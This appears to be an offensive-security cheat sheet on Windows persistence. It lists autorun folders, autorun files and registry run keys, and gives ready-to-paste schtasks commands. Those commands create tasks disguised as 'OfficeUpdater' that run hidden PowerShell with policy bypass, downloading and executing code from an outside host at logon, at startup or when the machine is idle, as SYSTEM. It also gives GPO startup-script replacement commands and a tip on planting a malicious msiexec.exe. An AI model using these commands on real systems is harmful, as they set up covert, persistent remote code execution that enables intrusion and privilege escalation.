Autorun Locations

Windows Autorun Locations¶

https://github.com/p0w3rsh3ll/AutoRuns

Find autoruns:
Powershell script for autoruns
Use SysInternals AutoRuns

Drop Exec in auto run directory:
If user home shares is accessible to other users drop into Startup Programs for lateral movement and privesc.

Windows Folders¶

%SystemDrive%\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\ 	
%SystemDrive%\Documents And Settings\All Users\Start Menu\Programs\StartUp\ 	
%SystemDrive%\wmiOWS\Start Menu\Programs\StartUp\ 
%SystemDrive%\WINNT\Profiles\All Users\Start Menu\Programs\StartUp\ 	
%SystemDrive%\User\Startup\ 	
%windir%\Start Menu\Programs\Startup\ 	
%windir%\Tasks\ 	
%windir%\system\iosubsys\ 	
%windir%\system\vmm32\

Window Files¶

%windir%\dosstart.bat 	
%windir%\system.ini - [boot] "scrnsave.exe" 	
%windir%\system.ini - [boot] "shell" 	
%windir%\system\autoexec.nt 	
%windir%\system\config.nt 	
%windir%\win.ini - [windows] "load" 	
%windir%\win.ini - [windows] "run" 	
%windir%\wininit.ini 	
%windir%\winstart.bat 	
c:\autoexec.bat 	
c:\config.sys 	
c:\explorer.exe

Registry¶

HKEY_CLASSES_ROOT\batfile\shell\open\command\ 	Executed whenever a .BAT file (Batch Command) is run.
HKEY_CLASSES_ROOT\comfile\shell\open\command\ 	Executed whenever a .COM file (Command) is run.
HKEY_CLASSES_ROOT\exefile\shell\open\command\ 	Executed whenever a .EXE file (Executable) is run.
HKEY_CLASSES_ROOT\jsefile\shell\open\command\ 	Executed whenever a .JSE file (Encoded Javascript) is run.
HKEY_CLASSES_ROOT\jsfile\shell\open\command\ 	Executed whenever a .JS file (Javascript) is run.
HKEY_CLASSES_ROOT\piffile\shell\open\command\ 	Executed whenever a .PIF file (Portable Interchange Format) is run.
HKEY_CLASSES_ROOT\scrfile\shell\open\command\ 	Executed whenever a .SCR file (Screen Saver) is run.
HKEY_CLASSES_ROOT\vbefile\shell\open\command\ 	Executed whenever a .VBE file (Encoded Visual Basic Script) is run.
HKEY_CLASSES_ROOT\vbsfile\shell\open\command\ 	Executed whenever a .VBS file (Visual Basic Script) is run.
HKEY_CLASSES_ROOT\wsffile\shell\open\command\ 	Executed whenever a .WSF file (Windows Scripting File) is run.
HKEY_CLASSES_ROOT\wshfile\shell\open\command\ 	Executed whenever a .WSH file (Windows Scripting Host) is run.
HKEY_CURRENT_USER\Control Panel\Desktop 	The "SCRNSAVE.EXE" value is monitored. This value is launched when your screen saver activates.
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows\load 	Executed when the user logs in.
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows\run 	Executed when the user logs in.
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\run\ 	Subvalues are executed when Explorer initialises.
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce\Setup\ 	Used only by Setup. Displays a progress dialog box as the keys are run one at a time.
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce\ 	All values in this key are executed, and then their autostart reference is deleted.
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\ 	All values in this key are executed.
HKEY_LOCAL_MACHINE\Software\Microsoft\Active Setup\Installed Components\ 	All subkeys are monitored, with special attention paid to the "StubPath" value in each subkey.
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit 	Executed when a user logs in.
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon 	The "Shell" value is monitored. This value is executed after you log in.
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\ 	All values in this key are executed.
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\run\ 	Subvalues are executed when Explorer initialises.
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce\ 	All values in this key are executed, and then their autostart reference is deleted.
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce\ 	All values in this key are executed as services, and then their autostart reference is deleted.
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\ 	All values in this key are executed as services.
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad\ 	Executed by explorer.exe as soon as it has loaded.
HKEY_LOCAL_MACHINE\System\Control\WOW\cmdline 	Executed when a 16-bit Windows executable is executed.
HKEY_LOCAL_MACHINE\System\Control\WOW\wowcmdline 	Executed when a 16-bit DOS application is executed.
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager 	The "BootExecute" value is monitored. Files listed here are Native Applications that are executed before Windows starts.
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\VxD\ 	All subkeys are monitored, with special attention paid to the "StaticVXD" value in each subkey.
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Winsock2\Parameters\Protocol_Catalog\Catalog_En tries\ 	Layered Service Providers, executed before user login.
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\ 	Services marked to startup automatically are executed before user login.
HKEY_USERS\.Default\Software\Microsoft\Windows\CurrentVersion\RunOnce\ 	Similar to the RunOnce key from HKEY_CURRENT_USER.
HKEY_USERS\.Default\Software\Microsoft\Windows\CurrentVersion\Run\ 	Similar to the Run key from HKEY_CURRENT_USER.

Schedule tasks¶

(X86) - On User Login:

schtasks /create /tn OfficeUpdaterA /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onlogon /ru System

(X86) - On System Start:

schtasks /create /tn OfficeUpdaterB /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onstart /ru System

(X86) - On User Idle (30mins):

schtasks /create /tn OfficeUpdaterC /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onidle /i 30

(X64) - On User Login:

schtasks /create /tn OfficeUpdaterA /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onlogon /ru System

(X64) - On System Start:

schtasks /create /tn OfficeUpdaterB /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onstart /ru System

(X64) - On User Idle (30mins):

schtasks /create /tn OfficeUpdaterC /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onidle /i 30

GPO¶

GPO start up scipts:

powershell Get-ChildItem -Force C:\Windows\System32\GroupPolicy\Machine\Scripts\ 
powershell type C:\Windows\System32\GroupPolicy\Machine\Scripts\scripts.ini
powershell Remove-Item -Force C:\Windo0ws\System32\GroupPolicy\Machine\Scripts\scripts.ini
powershell Move-Item -force -path C:\scripts.ini -destination C:\Windows\System32\GroupPolicy\Machine\Scripts\

Source

Binary Planting¶

Put an malicious binary named msiexec.exe in Downloads directory and when a installer calls msiexec without specifying path you get code execution. Your program is run.